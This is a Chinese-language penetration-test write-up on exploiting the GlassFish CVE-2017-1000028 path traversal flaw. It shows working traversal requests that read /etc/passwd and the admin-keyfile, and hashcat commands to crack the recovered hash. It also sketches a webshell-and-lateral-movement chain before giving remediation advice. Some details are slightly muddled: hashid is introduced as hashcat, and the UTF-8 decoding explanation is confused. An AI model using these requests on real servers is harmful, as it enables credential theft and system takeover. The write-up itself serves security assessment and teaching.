从一次内部攻防演练说起:我是如何利用CVE-2017-1000028漏洞“捡到”GlassFish管理员密码的
实战复盘:GlassFish任意文件读取漏洞的深度利用链
那是一个普通的周二下午,我正在为客户做内部网络的安全评估。按照惯例,我先用Nmap对目标网段进行扫描,突然在扫描结果中发现了一台开放4848端口的服务器——这个端口号让我瞬间警觉起来,因为4848正是GlassFish应用服务器的默认管理端口。
1. 目标识别与初步侦察
GlassFish作为一款开源的Java EE应用服务器,在企业内部环境中并不罕见。但将管理界面直接暴露在内部网络中,往往意味着潜在的安全风险。我决定先对目标进行指纹识别:
curl -I http://target-ip:4848返回的响应头中清晰地显示了服务器信息:
Server: GlassFish Server Open Source Edition 4.1.2 X-Powered-By: Servlet/3.1 JSP/2.3这个版本号立即让我联想到CVE-2017-1000028漏洞——一个经典的任意文件读取漏洞。为了确认漏洞存在的可能性,我快速查阅了漏洞影响范围:
| 漏洞编号 | 影响版本 | 漏洞类型 |
|---|---|---|
| CVE-2017-1000028 | GlassFish ≤4.1.2 | 任意文件读取 |
2. 漏洞原理深度解析
这个漏洞的本质是Java对UTF-8编码的特殊处理机制。正常情况下,URL中的路径分隔符应该是正斜杠(/),但Java会错误地将特定编码序列解析为路径遍历字符:
%c0%af→\uC0AF→/(正斜杠)%c0%ae→\uC0AE→.(点)
这种编码转换的深层原因在于Java的UTF-8解码器实现。当遇到%c0%af这样的双字节序列时:
- 二进制表示为:
11000000 10101111 - 去除UTF-8前缀
110后得到:00000 101111 - 转换为十进制47,对应ASCII码中的正斜杠
利用这个特性,我们可以构造特殊的URL路径,实现目录穿越:
http://target:4848/theme/META-INF/..%c0%af..%c0%af..%c0%afetc/passwd3. 漏洞利用实战过程
3.1 初始探测
我先尝试读取系统的基础文件确认漏洞存在:
GET /theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd HTTP/1.1 Host: target-ip:4848当看到返回的/etc/passwd文件内容时,我知道这个系统确实存在漏洞。但作为安全评估,我需要获取更有价值的信息。
3.2 关键文件定位
GlassFish的管理密码存储在特定位置:
glassfish/domains/domain1/config/admin-keyfile我构造了如下请求来获取这个关键文件:
GET /theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile HTTP/1.1 Host: target-ip:4848返回的文件内容格式如下:
admin;{SSHA256}DqA5sL7QJ8gV2Np1XwYz9xKbRtHjMlP3OiUvEeWc...3.3 密码破解策略
GlassFish使用SSHA256算法存储密码哈希,这是一种加盐的SHA-256哈希。我采用了以下步骤进行破解:
使用hashcat识别哈希类型:
hashid -m 'DqA5sL7QJ8gV2Np1XwYz9xKbRtHjMlP3OiUvEeWc...'准备破解命令:
hashcat -m 1410 -a 3 hash.txt ?a?a?a?a?a?a最终在8小时后成功破解出明文密码
提示:在实际评估中,建议使用更强大的字典或组合规则来加速破解过程
4. 后渗透与风险扩大
获取管理员凭证后,登录管理界面(http://target-ip:4848)只是第一步。真正的风险在于后续的攻击链:
- 应用部署:通过上传恶意WAR包获取Webshell
- 数据访问:查看部署的应用配置和数据库连接信息
- 横向移动:利用服务器作为跳板访问内部其他系统
下表展示了GlassFish管理界面常见的高风险功能:
| 功能模块 | 潜在风险 | 安全建议 |
|---|---|---|
| Applications | 恶意应用部署 | 严格审核部署包 |
| Resources | 数据库凭证泄露 | 加密存储配置 |
| Configurations | 系统设置篡改 | 定期审计配置 |
5. 防御措施与最佳实践
基于这次评估经验,我总结了以下防护建议:
- 版本升级:立即升级到GlassFish 4.1.2以上版本
- 网络隔离:管理界面不应直接暴露在网络中
- 密码策略:强制使用复杂密码并定期更换
- 日志监控:密切监控异常文件访问行为
对于开发团队,我建议在代码层面增加以下防护:
// 示例:安全的路径校验方法 public static boolean isValidPath(String path) { return path.matches("^[a-zA-Z0-9_\\-./]+$") && !path.contains(".."); }这次评估最让我印象深刻的是,一个看似简单的文件读取漏洞,配合弱密码策略,最终可能导致整个系统沦陷。安全防御需要层层设防,任何一个环节的疏忽都可能成为攻击者的突破口。
